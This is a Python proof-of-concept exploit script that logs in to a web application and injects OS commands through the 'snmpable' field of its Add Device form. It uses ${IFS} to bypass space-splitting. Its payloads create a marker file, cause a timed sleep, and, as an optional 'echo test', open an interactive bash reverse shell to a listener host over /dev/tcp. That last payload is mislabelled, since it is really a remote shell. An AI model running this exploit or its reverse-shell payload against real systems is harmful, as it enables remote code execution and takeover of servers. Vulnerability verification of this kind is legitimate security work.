#!/usr/bin/env python3
"""
Usage:
    python3 poc_command_injection.py --base-url http://localhost:8091 \\
        --user admin --password 'VerifyAdmin!2026'

    python3 poc_command_injection.py --base-url http://localhost:8091 \\
        --user admin --password 'VerifyAdmin!2026' \\
        --oob-host 192.168.57.99 --oob-port 9090
"""
import argparse
import re
import subprocess
import sys
import time

import requests

CSRF_RE = re.compile(r'name="csrf-token" content="([^"]*)"')


def login(base_url, username, password):
    session = requests.Session()
    resp = session.post(
        f"{base_url}/index.php?_=1",
        data={"username": username, "password": password},
        allow_redirects=True,
        timeout=30,
    )
    if "Dashboard" not in resp.text and "logout" not in resp.text.lower():
        print("[!] Login may have failed - check credentials.", file=sys.stderr)
    return session


def get_csrf_token(session, base_url):
    resp = session.get(f"{base_url}/index.php?page=addhost&_=1", timeout=30)
    match = CSRF_RE.search(resp.text)
    if not match:
        print("[!] Could not find CSRF token on Add Device page.", file=sys.stderr)
        sys.exit(2)
    return match.group(1)


def submit_addhost(session, base_url, token, hostname, snmpable):
    t0 = time.perf_counter()
    resp = session.post(
        f"{base_url}/index.php?_=1",
        data={
            "page": "addhost",
            "submit": "save",
            "hostname": hostname,
            "requesttoken": token,
            "snmp_version": "v2c",
            "snmp_transport": "udp",
            "snmp_community": "public",
            "snmpable": snmpable,
        },
        timeout=60,
    )
    elapsed = time.perf_counter() - t0
    return elapsed, resp.status_code


def main():
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("--base-url", default="http://localhost:8091")
    parser.add_argument("--user", default="admin")
    parser.add_argument("--password", default="VerifyAdmin!2026")
    parser.add_argument("--sleep-seconds", type=int, default=3,
                         help="sleep() duration to inject for the timing signal")
    parser.add_argument("--oob-host", default=None,
                         help="listener host for the optional /dev/tcp echo-test payload")
    parser.add_argument("--oob-port", type=int, default=None,
                         help="listener port for the optional /dev/tcp echo-test payload")
    parser.add_argument("--marker-file", default="/tmp/pwned_cmdinj_http",
                         help="path the touch payload should create on the target")
    parser.add_argument("--docker-container", default=None,
                         help="if the target is a local Docker container you control, "
                              "its name/id - used to confirm the marker file via "
                              "'docker exec <container> ls -la <marker-file>'")
    args = parser.parse_args()

    print(f"[*] Logging in to {args.base_url} as '{args.user}'...")
    session = login(args.base_url, args.user, args.password)

    print("[*] Fetching Add Device page for a fresh CSRF token...")
    token = get_csrf_token(session, args.base_url)

    print("[*] Submitting baseline Add Device request (harmless snmpable value)...")
    baseline_time, baseline_code = submit_addhost(
        session, args.base_url, token, "cmdinj-baseline.local", "1.3.6.1.2.1.1.1"
    )
    print(f"    -> HTTP {baseline_code} in {baseline_time:.2f}s")

    # ${IFS} stands in for a literal space: add_device_vars() splits the
    # snmpable field on literal spaces before this value ever reaches
    # snmp_translate(), so a real space would break the payload into two
    # separate (harmless) OID tokens. ${IFS} survives that split and is
    # then expanded back to whitespace by the shell when the injected
    # command actually runs.
    token = get_csrf_token(session, args.base_url)
    touch_payload = f"$(touch${{IFS}}{args.marker_file})::1"
    print(f"[*] Submitting injected Add Device request (snmpable={touch_payload!r})...")
    touch_time, touch_code = submit_addhost(
        session, args.base_url, token, "cmdinj-touch.local", touch_payload
    )
    print(f"    -> HTTP {touch_code} in {touch_time:.2f}s")

    file_confirmed = None
    if args.docker_container:
        print(f"[*] Checking for {args.marker_file} inside container "
              f"'{args.docker_container}' ...")
        result = subprocess.run(
            ["docker", "exec", args.docker_container, "ls", "-la", args.marker_file],
            capture_output=True, text=True,
        )
        if result.returncode == 0:
            file_confirmed = True
            print(f"    -> FOUND: {result.stdout.strip()}")
        else:
            file_confirmed = False
            print(f"    -> not found ({result.stderr.strip()})")
    else:
        print(f"[*] No --docker-container given - check {args.marker_file} on the "
              f"target manually to confirm (owner should be the web server user).")

    # Also run the timing variant, since it's confirmable over the network
    # alone with no filesystem/shell access to the target required.
    token = get_csrf_token(session, args.base_url)
    sleep_payload = f"$(sleep${{IFS}}{args.sleep_seconds})::1"
    print(f"[*] Submitting timing-based injected request (snmpable={sleep_payload!r})...")
    injected_time, injected_code = submit_addhost(
        session, args.base_url, token, "cmdinj-sleep.local", sleep_payload
    )
    print(f"    -> HTTP {injected_code} in {injected_time:.2f}s")

    threshold = baseline_time + (args.sleep_seconds * 0.7)
    print()
    timing_confirmed = injected_code == 200 and injected_time >= threshold
    if file_confirmed:
        print(f"[+] VULNERABLE: {args.marker_file} was created on the target - "
              f"OS command injection confirmed (runs as the web server / poller user).")
    elif timing_confirmed:
        print(f"[+] VULNERABLE: injected request took {injected_time:.2f}s "
              f"(baseline {baseline_time:.2f}s, expected delay ~{args.sleep_seconds}s).")
        print("    The 'snmpable' field's MIB portion was executed as a shell command -")
        print("    OS command injection confirmed (runs as the web server / poller user).")
    else:
        print(f"[-] NOT CONFIRMED: no marker file check available and no timing delay "
              f"observed (injected {injected_time:.2f}s vs baseline {baseline_time:.2f}s).")

    if args.oob_host and args.oob_port:
        print()
        print(f"[*] Firing out-of-band echo test to {args.oob_host}:{args.oob_port} ...")
        print(f"    Make sure a listener is running there first: "
              f"nc -lvnp {args.oob_port}")
        token = get_csrf_token(session, args.base_url)
        oob_payload = (
            f'$(bash${{IFS}}-c${{IFS}}"bash${{IFS}}-i${{IFS}}>&/dev/tcp/'
            f'{args.oob_host}/{args.oob_port}${{IFS}}0>&1")::1'
        )
        _, oob_code = submit_addhost(
            session, args.base_url, token, "cmdinj-oob.local", oob_payload
        )
    sys.exit(0 if (file_confirmed or timing_confirmed) else 1)


if __name__ == "__main__":
    main()
